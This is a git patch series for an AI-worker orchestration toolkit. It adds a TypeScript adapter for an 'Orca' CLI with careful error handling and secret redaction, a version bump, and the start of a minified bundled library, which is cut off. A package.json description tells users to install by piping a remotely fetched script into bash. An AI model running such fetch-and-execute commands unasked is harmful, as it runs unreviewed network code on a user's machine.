OrcaJsonEnvelope & { readonly receipt?: OrcaMutationReceipt }; + +function ambiguousMutationError( + operation: OrcaOrchestrationVerb, + phase: 'execute' | 'decode' | 'receipt', + message: string, +): OrcaAdapterError { + return new OrcaAdapterError( + 'ambiguous_after_possible_commit', + operation, + phase, + 'unrecoverably-ambiguous', + 'Do not retry automatically; inspect the documented public read operation before choosing another mutation.', + message, + ); +} + +function parseEnvelope(operation: OrcaOrchestrationVerb, stdout: string, mutation: boolean): OrcaJsonEnvelope { + let decoded: unknown; + try { + decoded = parseJsonRejectingDuplicateKeys(stdout); + } catch { + if (mutation) throw ambiguousMutationError(operation, 'decode', 'stdout was not one JSON document'); + throw new OrcaAdapterError( + 'malformed_json', + operation, + 'decode', + 'safe', + 'Inspect Orca health and retry this read-only operation when safe.', + 'stdout was not one JSON document', + ); + } + const parsed = envelopeSchema.safeParse(decoded); + if (!parsed.success) { + if (mutation) throw ambiguousMutationError(operation, 'decode', 'stdout did not match the Orca envelope contract'); + throw new OrcaAdapterError( + 'unexpected_response', + operation, + 'decode', + 'safe', + 'Use a compatible Orca CLI version.', + 'stdout did not match the Orca envelope contract', + ); + } + if (parsed.data.ok) { + const result = responseSchemas[operation].safeParse(parsed.data.result); + if (!result.success) { + if (mutation) + throw ambiguousMutationError( + operation, + 'receipt', + `success result did not match the finite ${operation} response contract`, + ); + throw new OrcaAdapterError( + 'unexpected_response', + operation, + 'decode', + 'safe', + 'Use a compatible Orca CLI version and inspect the public operation result.', + `success result did not match the finite ${operation} response contract`, + ); + } + } + return parsed.data; +} + +function parseJsonRejectingDuplicateKeys(text: string): unknown { + const stack: Array<Set<string> | null> = []; + let expectingKey = false; + let index = 0; + while (index < text.length) { + const char = text[index]; + if (char === '"') { + const start = index; + index += 1; + while (index < text.length) { + if (text[index] === '\\') index += 2; + else if (text[index] === '"') break; + else index += 1; + } + if (index >= text.length) throw new Error('unterminated JSON string'); + if (expectingKey) { + const key = JSON.parse(text.slice(start, index + 1)) as string; + const keys = stack.at(-1); + if (keys === null || keys === undefined || keys.has(key)) throw new Error('duplicate JSON key'); + keys.add(key); + expectingKey = false; + } + } else if (char === '{') { + stack.push(new Set()); + expectingKey = true; + } else if (char === '[') stack.push(null); + else if (char === '}') stack.pop(); + else if (char === ']') stack.pop(); + else if (char === ',' && stack.at(-1) instanceof Set) expectingKey = true; + index += 1; + } + return JSON.parse(text); +} + +interface OrcaAdapterTestOptions { + executor?: OrcaProcessExecutor; + env?: Readonly<Record<string, string | undefined>>; + managedTerminal?: boolean; + platform?: NodeJS.Platform; + timeoutMs?: number; + now?: () => Date; +} + +export interface OrcaOrchestrationAdapter { + readonly executable: string; + execute(input: unknown): Promise<OrcaAdapterResponse>; +} + +const mutationVerbs = new Set<OrcaOrchestrationVerb>([ + 'run-create', + 'run-use', + 'task-create', + 'task-update', + 'worker-start', + 'worker-release', + 'send', + 'reply', + 'ask', + 'gate-create', + 'gate-resolve', +]); + +function hasAcknowledgement(operation: OrcaOrchestrationVerb, input: unknown): boolean { + return operation === 'check' && typeof input === 'object' && input !== null && 'ack' in input; +} + +function recordOf(value: unknown): Record<string, unknown> { + return value as Record<string, unknown>; +} + +function receiptIds(operation: OrcaOrchestrationVerb, value: unknown): Readonly<Record<string, string>> { + const result = recordOf(value); + const fields: Partial<Record<OrcaOrchestrationVerb, readonly string[]>> = { + 'run-create': ['runId'], + 'run-use': ['runId'], + 'task-create': ['taskId'], + 'task-update': ['taskId'], + 'worker-start': ['dispatchId', 'taskId'], + 'worker-release': ['dispatchId'], + send: ['messageId'], + reply: ['messageId'], + ask: ['messageId'], + check: ['deliveryId'], + 'gate-create': ['gateId', 'taskId'], + 'gate-resolve': ['gateId', 'taskId'], + }; + return Object.freeze( + Object.fromEntries( + (fields[operation] ?? []).flatMap((key) => (typeof result[key] === 'string' ? [[key, result[key]]] : [])), + ), + ); +} + +type ReadbackPlan = { operation: ValidatedOrcaOperation; matches: (result: unknown) => boolean }; + +function readbackPlan(operation: ValidatedOrcaOperation, result: unknown): ReadbackPlan | undefined { + if (operation.operation === 'run-use') { + const receipt = recordOf(result); + return { + operation: { operation: 'run-current' }, + matches: (readback) => { + const current = recordOf(readback); + const run = recordOf(current.run); + return ( + receipt.runId === operation.id && + run.id === operation.id && + receipt.coordinatorTerminalHandle === current.coordinatorTerminalHandle + ); + }, + }; + } + if (operation.operation === 'gate-resolve') { + const mutation = recordOf(result); + return { + operation: { operation: 'gate-list', task: operation.task }, + matches: (readback) => { + if (mutation.gateId !== operation.id || mutation.taskId !== operation.task) return false; + const gates = recordOf(readback).gates; + if (!Array.isArray(gates)) return false; + const matching = gates.map(recordOf).filter((gate) => gate.id === operation.id); + return ( + matching.length === 1 && + matching[0].taskId === operation.task && + matching[0].status === 'resolved' && + matching[0].resolution === operation.resolution + ); + }, + }; + } + if (operation.operation === 'worker-release') { + const mutation = recordOf(result); + return { + operation: { operation: 'worker-show', dispatch: operation.dispatch }, + matches: (readback) => { + const worker = recordOf(recordOf(readback).dispatch); + return ( + mutation.dispatchId === operation.dispatch && + worker.id === operation.dispatch && + ['released', 'retained'].includes(String(worker.terminalDisposition)) + ); + }, + }; + } + if (operation.operation === 'run-create') { + const runId = recordOf(result).runId; + return { + operation: { operation: 'run-show', id: String(runId) }, + matches: (readback) => { + const run = recordOf(recordOf(readback).run); + return run.id === runId && run.objective === operation.objective; + }, + }; + } + if (operation.operation === 'task-create' || operation.operation === 'task-update') { + const mutation = recordOf(result); + const taskId = operation.operation === 'task-create' ? mutation.taskId : operation.id; + return { + operation: { operation: 'task-list' }, + matches: (readback) => { + if (mutation.taskId !== taskId) return false; + const tasks = recordOf(readback).tasks; + if (!Array.isArray(tasks)) return false; + const matching = tasks.map(recordOf).filter((candidate) => candidate.id === taskId); + if (matching.length !== 1) return false; + const task = matching[0]; + return operation.operation === 'task-create' + ? task.spec === operation.spec && + task.title === operation.title && + JSON.stringify(task.deps ?? []) === JSON.stringify(operation.deps ?? []) && + task.parent === operation.parent + : task.status === operation.status && JSON.stringify(task.result) === JSON.stringify(operation.result); + }, + }; + } + if (operation.operation === 'worker-start') { + const mutation = recordOf(result); + const dispatchId = mutation.dispatchId; + return { + operation: { operation: 'worker-show', dispatch: String(dispatchId) }, + matches: (readback) => { + const worker = recordOf(recordOf(readback).dispatch); + return ( + mutation.taskId === operation.task && + worker.id === dispatchId && + worker.taskId === operation.task && + worker.agent === operation.agent && + worker.model === operation.model && + worker.effort === operation.effort + ); + }, + }; + } + if (operation.operation === 'gate-create') { + const mutation = recordOf(result); + const gateId = mutation.gateId; + return { + operation: { operation: 'gate-list', task: operation.task }, + matches: (readback) => { + const gates = recordOf(readback).gates; + if (!Array.isArray(gates)) return false; + if (mutation.taskId !== operation.task) return false; + const matching = gates.map(recordOf).filter((candidate) => candidate.id === gateId); + if (matching.length !== 1) return false; + const gate = matching[0]; + return ( + gate?.taskId === operation.task && + gate.question === operation.question && + JSON.stringify(gate.options) === JSON.stringify(operation.options) + ); + }, + }; + } + return undefined; +} + +function processFailure( + operation: OrcaOrchestrationVerb, + input: unknown, + result: OrcaProcessResult, +): OrcaAdapterError | undefined { + const acknowledgement = hasAcknowledgement(operation, input); + const mutation = mutationVerbs.has(operation) || acknowledgement; + if (result.outputLimited || result.transportLost) { + if (mutation) + return ambiguousMutationError( + operation, + 'execute', + result.outputLimited + ? 'Orca output exceeded the adapter limit' + : 'Orca transport closed before a valid response', + ); + return safeProcessError( + operation, + result.outputLimited ? 'output_limit' : 'process_exit', + result.outputLimited ? 'Orca output exceeded the adapter limit' : 'Orca transport closed before a valid response', + ); + } + if (result.timedOut) { + return mutation + ? ambiguousMutationError(operation, 'execute', 'Orca did not finish before the deadline') + : safeProcessError(operation, 'timeout', 'Orca did not finish before the deadline'); + } + if (result.exitCode !== 0) { + if (mutation) + return new OrcaAdapterError( + 'ambiguous_after_possible_commit', + operation, + 'execute', + 'unrecoverably-ambiguous', + 'Do not retry automatically; inspect the documented public read operation before choosing another mutation.', + `Orca exited with status ${result.exitCode ?? 'signal'}`, + result.stderr, + ); + return new OrcaAdapterError( + 'process_exit', + operation, + 'execute', + mutation ? 'readback-required' : 'safe', + 'Inspect Orca state and use the documented recovery operation.', + `Orca exited with status ${result.exitCode ?? 'signal'}`, + result.stderr.slice(-4096), + ); + } + return undefined; +} + +function safeProcessError( + operation: OrcaOrchestrationVerb, + code: 'timeout' | 'output_limit' | 'process_exit', + message: string, +): OrcaAdapterError { + return new OrcaAdapterError( + code, + operation, + 'execute', + 'safe', + 'Retry the read-only operation when Orca is healthy.', + message, + ); +} + +function createAdapter(options: OrcaAdapterTestOptions = {}): OrcaOrchestrationAdapter { + const env = Object.freeze({ ...(options.env ?? process.env) }); + const executable = resolveOrcaExecutable({ + platform: options.platform, + managedTerminal: options.managedTerminal ?? env.TERM_PROGRAM === 'Orca', + }); + const executor = options.executor ?? spawnOrcaProcess; + const defaultTimeout = options.timeoutMs ?? DEFAULT_ORCA_TIMEOUT_MS; + const now = options.now ?? (() => new Date()); + const invoke = async (operation: ValidatedOrcaOperation): Promise<OrcaJsonEnvelope> => { + const argv = buildOrcaOrchestrationArgv(operation); + let result: OrcaProcessResult; + try { + result = await executor({ + executable, + argv, + shell: false, + timeoutMs: defaultTimeout, + maxStdoutBytes: MAX_ORCA_STDOUT_BYTES, + maxStderrBytes: MAX_ORCA_STDERR_BYTES, + env, + }); + } catch (error) { + throw new OrcaAdapterError( + 'executable_unavailable', + operation.operation, + 'resolve', + 'safe', + 'Verify that the deterministic Orca executable is installed and available, then retry.', + error instanceof Error && 'code' in error + ? `Orca execution failed (${String(error.code)})` + : 'Orca execution failed', + ); + } + result = { ...result, stderr: sanitizeStderr(result.stderr, operation, env) }; + const isMutation = mutationVerbs.has(operation.operation) || hasAcknowledgement(operation.operation, operation); + const failure = processFailure(operation.operation, operation, result); + if (failure !== undefined) throw failure; + const envelope = parseEnvelope(operation.operation, result.stdout, isMutation); + if (!envelope.ok) { + const message = sanitizeDiagnosticText( + envelope.error?.message ?? 'Orca returned an error envelope', + operation, + env, + ); + if (isMutation) throw ambiguousMutationError(operation.operation, 'decode', message); + throw new OrcaAdapterError( + 'unexpected_response', + operation.operation, + 'decode', + isMutation ? 'readback-required' : 'safe', + 'Follow the public Orca diagnostic and inspect state before retrying.', + message, + ); + } + return envelope; + }; + return Object.freeze({ + executable, + async execute(input: unknown): Promise<OrcaAdapterResponse> { + const parsed = orcaOperationSchema.safeParse(input); + if (!parsed.success) { + buildOrcaOrchestrationArgv(input); + throw new Error('unreachable'); + } + const operation = parsed.data as ValidatedOrcaOperation; + const startedAt = now().toISOString(); + const envelope = await invoke(operation); + if (!mutationVerbs.has(operation.operation) && !hasAcknowledgement(operation.operation, operation)) + return envelope; + return finalizeMutation(operation, envelope, startedAt, invoke, now, env); + }, + }); +} + +async function finalizeMutation( + operation: ValidatedOrcaOperation, + envelope: OrcaJsonEnvelope, + startedAt: string, + invoke: (operation: ValidatedOrcaOperation) => Promise<OrcaJsonEnvelope>, + now: () => Date, + env: Readonly<Record<string, string | undefined>>, +): Promise<OrcaAdapterResponse> { + validateMutationReceipt(operation, envelope); + const plan = readbackPlan(operation, envelope.result); + if (plan !== undefined) { + let readback: OrcaJsonEnvelope; + try { + readback = await invoke(plan.operation); + } catch (error) { + throw mapReadbackFailure(operation, plan.operation.operation, error, env); + } + if (!plan.matches(readback.result)) { + throw new OrcaAdapterError( + 'readback_mismatch', + operation.operation, + 'readback', + 'unsafe', + `Inspect state with orchestration ${plan.operation.operation}; do not retry the mutation automatically.`, + `${plan.operation.operation} disagreed with the mutation receipt`, + ); + } + } + const meta = envelope._meta as Record<string, unknown>; + const receipt: OrcaMutationReceipt = Object.freeze({ + verb: operation.operation, + ids: receiptIds(operation.operation, envelope.result), + runtimeId: meta.runtimeId as string, + runtimeVersion: meta.runtimeVersion as string, + startedAt, + completedAt: now().toISOString(), + readbackVerb: plan?.operation.operation ?? null, + }); + return Object.freeze({ ...envelope, receipt }); +} + +function mapReadbackFailure( + mutation: ValidatedOrcaOperation, + readback: OrcaOrchestrationVerb, + error: unknown, + env: Readonly<Record<string, string | undefined>>, +): OrcaAdapterError { + if (!(error instanceof OrcaAdapterError)) { + return new OrcaAdapterError( + 'unexpected_response', + mutation.operation, + 'readback', + 'unrecoverably-ambiguous', + `Inspect state with orchestration ${readback}; do not retry the mutation automatically.`, + `${readback} failed after Orca returned a valid mutation receipt`, + ); + } + return new OrcaAdapterError( + error.code, + mutation.operation, + 'readback', + 'readback-required', + `Repeat or inspect orchestration ${readback}; do not retry the mutation automatically.`, + sanitizeDiagnosticText( + `${readback} failed after Orca returned a valid mutation receipt: ${error.message}`, + mutation, + env, + ), + error.stderr, + ); +} + +function validateMutationReceipt(operation: ValidatedOrcaOperation, envelope: OrcaJsonEnvelope): void { + if (envelope._meta?.runtimeId === undefined || envelope._meta.runtimeVersion === undefined) { + throw ambiguousMutationError( + operation.operation, + 'receipt', + 'mutation receipt omitted bounded runtime identity/version metadata', + ); + } + if (!receiptMatchesRequest(operation, envelope.result)) { + throw new OrcaAdapterError( + 'readback_mismatch', + operation.operation, + 'receipt', + 'unsafe', + 'Inspect the requested entity with its documented public read operation; do not retry automatically.', + 'mutation receipt identity disagreed with the requested entity', + ); + } + if ( + operation.operation === 'check' && + operation.ack !== undefined && + recordOf(envelope.result).acknowledged !== true + ) { + throw ambiguousMutationError( + operation.operation, + 'receipt', + 'check --ack success did not contain its matching delivery identifier', + ); + } + if ( + operation.operation === 'run-use' && + recordOf(envelope.result).coordinatorTerminalHandle !== envelope._meta.invokingTerminal + ) { + throw new OrcaAdapterError( + 'readback_mismatch', + operation.operation, + 'readback', + 'unsafe', + 'Inspect orchestration run-current; do not retry run-use automatically.', + 'run-use terminal binding was not runtime-attested', + ); + } +} + +function receiptMatchesRequest(operation: ValidatedOrcaOperation, result: unknown): boolean { + const value = recordOf(result); + switch (operation.operation) { + case 'run-use': + return value.runId === operation.id; + case 'task-update': + return value.taskId === operation.id; + case 'worker-start': + return value.taskId === operation.task; + case 'worker-release': + return value.dispatchId === operation.dispatch; + case 'reply': + return value.messageId === operation.id; + case 'ask': + return operation.resume === undefined || value.messageId === operation.resume; + case 'check': + return operation.ack === undefined || value.deliveryId === operation.ack; + case 'gate-create': + return value.taskId === operation.task; + case 'gate-resolve': + return value.gateId === operation.id && value.taskId === operation.task; + default: + return true; + } +} + +function sanitizeStderr( + stderr: string, + operation: ValidatedOrcaOperation, + env: Readonly<Record<string, string | undefined>>, +): string { + return sanitizeDiagnosticText(stderr, operation, env); +} + +function sanitizeDiagnosticText( + text: string, + operation: ValidatedOrcaOperation, + env: Readonly<Record<string, string | undefined>>, +): string { + let safe = [...text] + .filter((character) => { + const code = character.charCodeAt(0); + return code === 9 || code === 10 || code === 13 || (code >= 32 && code !== 127 && code < 128) || code > 159; + }) + .join(''); + const requestValues = collectStringValues(operation); + const secrets = Object.entries(env) + .filter( + ([key, value]) => value !== undefined && /(?:TOKEN|SECRET|PASSWORD|PASS|KEY|CREDENTIAL|AUTH|COOKIE)/i.test(key), + ) + .map(([, value]) => value as string); + const connectionCredentials = Object.values(env).flatMap((value) => + value === undefined ? [] : credentialValuesFromUrl(value), + ); + for (const value of [...requestValues, ...secrets, ...connectionCredentials] + .filter((candidate) => candidate.length >= 3) + .sort((a, b) => b.length - a.length)) { + safe = safe.split(value).join('[REDACTED]'); + } + const bytes = Buffer.from(safe, 'utf8'); + return bytes.length <= 4096 + ? safe + : Buffer.concat([Buffer.from('[truncated] '), bytes.subarray(bytes.length - 4084)]).toString('utf8'); +} + +function credentialValuesFromUrl(value: string): string[] { + try { + const url = new URL(value); + if (url.password.length === 0) return []; + try { + return [url.password, decodeURIComponent(url.password)]; + } catch { + return [url.password]; + } + } catch { + return []; + } +} + +function collectStringValues(value: unknown): string[] { + if (typeof value === 'string') return [value]; + if (Array.isArray(value)) return value.flatMap(collectStringValues); + if (typeof value === 'object' && value !== null) return Object.values(value).flatMap(collectStringValues); + return []; +} + +export function createOrcaOrchestrationAdapter(): OrcaOrchestrationAdapter { + return createAdapter(); +} + +/** Test-only dependency seam. Production callers must use createOrcaOrchestrationAdapter. */ +export const __orcaAdapterTestOnly = Object.freeze({ createAdapter, spawnOrcaProcess }); From 7ac59268d033d60a24dd6e0fbf6f5e1f0ccfabf7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 18:47:56 +0000 Subject: [PATCH 06/45] chore(version): bump to 5.260829.2 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index c0468bfe4..3223daf23 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260829.1", + "version": "5.260829.2", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index d6b794d3a..530f28daa 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260829.1", + "version": "5.260829.2", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 7a376f115..c3509ae20 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.1", + "version": "5.260829.2", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 94f0d0c26..4b8218b17 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.1", + "version": "5.260829.2", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index 5d63d07ee..7fcc4e151 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.1", + "version": "5.260829.2", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 71b9c770c..d6e9c0ea5 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260829.1", + "version": "5.260829.2", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 388367684..a2e442cbc 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260829.1 +version: 5.260829.2 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 495b1d863..7ea8caa75 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260829.1", + "version": "5.260829.2", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From cfc70cd59224b4755a01eefe11af9d15698fbb5b Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 19:23:32 +0000 Subject: [PATCH 07/45] feat(orca): add native plugin runtime (#2810) * feat(orca): add native plugin runtime probe * fix(orca): wire native plugin entrypoint --- plugins/genie/orca-entrypoint.min.js | 2 + plugins/genie/orca-entrypoint.ts | 22 ++++ plugins/genie/orca-plugin.json | 27 +++++ plugins/genie/orca-real-runtime-smoke.test.ts | 96 +++++++++++++++ plugins/genie/orca-runtime.test.ts | 110 ++++++++++++++++++ plugins/genie/orca-runtime.ts | 79 +++++++++++++ plugins/genie/plugin.json | 20 ++++ 7 files changed, 356 insertions(+) create mode 100644 plugins/genie/orca-entrypoint.min.js create mode 100644 plugins/genie/orca-entrypoint.ts create mode 100644 plugins/genie/orca-plugin.json create mode 100644 plugins/genie/orca-real-runtime-smoke.test.ts create mode 100644 plugins/genie/orca-runtime.test.ts create mode 100644 plugins/genie/orca-runtime.ts create mode 100644 plugins/genie/plugin.json diff --git a/plugins/genie/orca-entrypoint.min.js b/plugins/genie/orca-entrypoint.min.js new file mode 100644 index 000000000..03a7a189a --- /dev/null +++ b/plugins/genie/orca-entrypoint.min.js @@ -0,0 +1,2 @@ +var fW=Object.defineProperty;var CW=($)=>$;function vW($,W){this[$]=CW.bind(null,W)}var IW=($,W)=>{for(var H in W)fW($,H,{get:W[H],enumerable:!0,configurable:!0,set:vW.bind(W,H)})};import{spawn as c3}from"node:child_process";var U={};IW(U,{void:()=>S3,util:()=>D,unknown:()=>w3,union:()=>L3,undefined:()=>B3,tuple:()=>K3,transformer:()=>P3,symbol:()=>_3,string:()=>YW,strictObject:()=>N3,setErrorMap:()=>hW,set:()=>F3,record:()=>E3,quotelessJson:()=>PW,promise:()=>I3,preprocess:()=>g3,pipeline:()=>T3,ostring:()=>x3,optional:()=>k3,onumber:()=>y3,oboolean:()=>m3,objectUtil:()=>l$,object:()=>R3,number:()=>qW,nullable:()=>h3,null:()=>M3,never:()=>z3,nativeEnum:()=>v3,nan:()=>X3,map:()=>b3,makeIssue:()=>b$,literal:()=>f3,lazy:()=>O3,late:()=>G3,isValid:()=>r,isDirty:()=>k$,isAsync:()=>_$,isAborted:()=>P$,intersection:()=>V3,instanceof:()=>Q3,getParsedType:()=>c,getErrorMap:()=>q$,function:()=>A3,enum:()=>C3,effect:()=>P3,discriminatedUnion:()=>D3,defaultErrorMap:()=>d,datetimeRegex:()=>GW,date:()=>q3,custom:()=>XW,coerce:()=>Z3,boolean:()=>_W,bigint:()=>Y3,array:()=>U3,any:()=>j3,addIssueToContext:()=>M,ZodVoid:()=>A$,ZodUnknown:()=>o,ZodUnion:()=>S$,ZodUndefined:()=>w$,ZodType:()=>L,ZodTuple:()=>n,ZodTransformer:()=>Z,ZodSymbol:()=>F$,ZodString:()=>T,ZodSet:()=>X$,ZodSchema:()=>L,ZodRecord:()=>O$,ZodReadonly:()=>K$,ZodPromise:()=>Y$,ZodPipeline:()=>v$,ZodParsedType:()=>B,ZodOptional:()=>y,ZodObject:()=>F,ZodNumber:()=>a,ZodNullable:()=>i,ZodNull:()=>z$,ZodNever:()=>u,ZodNativeEnum:()=>L$,ZodNaN:()=>C$,ZodMap:()=>f$,ZodLiteral:()=>N$,ZodLazy:()=>R$,ZodIssueCode:()=>_,ZodIntersection:()=>U$,ZodFunction:()=>M$,ZodFirstPartyTypeKind:()=>S,ZodError:()=>I,ZodEnum:()=>e,ZodEffects:()=>Z,ZodDiscriminatedUnion:()=>h$,ZodDefault:()=>D$,ZodDate:()=>G$,ZodCatch:()=>V$,ZodBranded:()=>g$,ZodBoolean:()=>j$,ZodBigInt:()=>t,ZodArray:()=>x,ZodAny:()=>Q$,Schema:()=>L,ParseStatus:()=>C,OK:()=>v,NEVER:()=>l3,INVALID:()=>z,EMPTY_PATH:()=>gW,DIRTY:()=>J$,BRAND:()=>J3});var D;(function($){$.assertEqual=(J)=>{};function W(J){}$.assertIs=W;function H(J){throw Error()}$.assertNever=H,$.arrayToEnum=(J)=>{let Q={};for(let X of J)Q[X]=X;return Q},$.getValidEnumValues=(J)=>{let Q=$.objectKeys(J).filter((Y)=>typeof J[J[Y]]!=="number"),X={};for(let Y of Q)X[Y]=J[Y];return $.objectValues(X)},$.objectValues=(J)=>{return $.objectKeys(J).map(function(Q){return J[Q]})},$.objectKeys=typeof Object.keys==="function"?(J)=>Object.keys(J):(J)=>{let Q=[];for(let X in J)if(Object.prototype.hasOwnProperty.call(J,X))Q.push(X);return Q},$.find=(J,Q)=>{for(let X of J)if(Q(X))return X;return},$.isInteger=typeof Number.isInteger==="function"?(J)=>Number.isInteger(J):(J)=>typeof J==="number"&&Number.isFinite(J)&&Math.floor(J)===J;function G(J,Q=" | "){return J.map((X)=>typeof X==="string"?`'${X}'`:X).join(Q)}$.joinValues=G,$.jsonStringifyReplacer=(J,Q)=>{if(typeof Q==="bigint")return Q.toString();return Q}})(D||(D={}));var l$;(function($){$.mergeShapes=(W,H)=>{return{...W,...H}}})(l$||(l$={}));var B=D.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),c=($)=>{switch(typeof $){case"undefined":return B.undefined;case"string":return B.string;case"number":return Number.isNaN($)?B.nan:B.number;case"boolean":return B.boolean;case"function":return B.function;case"bigint":return B.bigint;case"symbol":return B.symbol;case"object":if(Array.isArray($))return B.array;if($===null)return B.null;if($.then&&typeof $.then==="function"&&$.catch&&typeof $.catch==="function")return B.promise;if(typeof Map<"u"&&$ instanceof Map)return B.map;if(typeof Set<"u"&&$ instanceof Set)return B.set;if(typeof Date<"u"&&$ instanceof Date)return B.date;return B.object;default:return B.unknown}};var _=D.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),PW=($)=>{return JSON.stringify($,null,2).replace(/"([^"]+)":/g,"$1:")};class I extends Error{get errors(){return this.issues}constructor($){super();this.issues=[],this.addIssue=(H)=>{this.issues=[...this.issues,H]},this.addIssues=(H=[])=>{this.issues=[...this.issues,...H]};let W=new.target.prototype;if(Object.setPrototypeOf)Object.setPrototypeOf(this,W);else this.__proto__=W;this.name="ZodError",this.issues=$}format($){let W=$||function(J){return J.message},H={_errors:[]},G=(J)=>{for(let Q of J.issues)if(Q.code==="invalid_union")Q.unionErrors.map(G);else if(Q.code==="invalid_return_type")G(Q.returnTypeError);else if(Q.code==="invalid_arguments")G(Q.argumentsError);else if(Q.path.length===0)H._errors.push(W(Q));else{let X=H,Y=0;while(Y<Q.path.length){let q=Q.path[Y];if(Y!==Q.path.length-1)X[q]=X[q]||{_errors:[]};else X[q]=X[q]||{_errors:[]},X[q]._errors.push(W(Q));X=X[q],Y++}}};return G(this),H}static assert($){if(!($ instanceof I))throw Error(`Not a ZodError: ${$}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,D.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten($=(W)=>W.message){let W={},H=[];for(let G of this.issues)if(G.path.length>0){let J=G.path[0];W[J]=W[J]||[],W[J].push($(G))}else H.push($(G));return{formErrors:H,fieldErrors:W}}get formErrors(){return this.flatten()}}I.create=($)=>{return new I($)};var kW=($,W)=>{let H;switch($.code){case _.invalid_type:if($.received===B.undefined)H="Required";else H=`Expected ${$.expected}, received ${$.received}`;break;case _.invalid_literal:H=`Invalid literal value, expected ${JSON.stringify($.expected,D.jsonStringifyReplacer)}`;break;case _.unrecognized_keys:H=`Unrecognized key(s) in object: ${D.joinValues($.keys,", ")}`;break;case _.invalid_union:H="Invalid input";break;case _.invalid_union_discriminator:H=`Invalid discriminator value. Expected ${D.joinValues($.options)}`;break;case _.invalid_enum_value:H=`Invalid enum value. Expected ${D.joinValues($.options)}, received '${$.received}'`;break;case _.invalid_arguments:H="Invalid function arguments";break;case _.invalid_return_type:H="Invalid function return type";break;case _.invalid_date:H="Invalid date";break;case _.invalid_string:if(typeof $.validation==="object")if("includes"in $.validation){if(H=`Invalid input: must include "${$.validation.includes}"`,typeof $.validation.position==="number")H=`${H} at one or more positions greater than or equal to ${$.validation.position}`}else if("startsWith"in $.validation)H=`Invalid input: must start with "${$.validation.startsWith}"`;else if("endsWith"in $.validation)H=`Invalid input: must end with "${$.validation.endsWith}"`;else D.assertNever($.validation);else if($.validation!=="regex")H=`Invalid ${$.validation}`;else H="Invalid";break;case _.too_small:if($.type==="array")H=`Array must contain ${$.exact?"exactly":$.inclusive?"at least":"more than"} ${$.minimum} element(s)`;else if($.type==="string")H=`String must contain ${$.exact?"exactly":$.inclusive?"at least":"over"} ${$.minimum} character(s)`;else if($.type==="number")H=`Number must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${$.minimum}`;else if($.type==="bigint")H=`Number must be ${$.exact?"exactly equal to 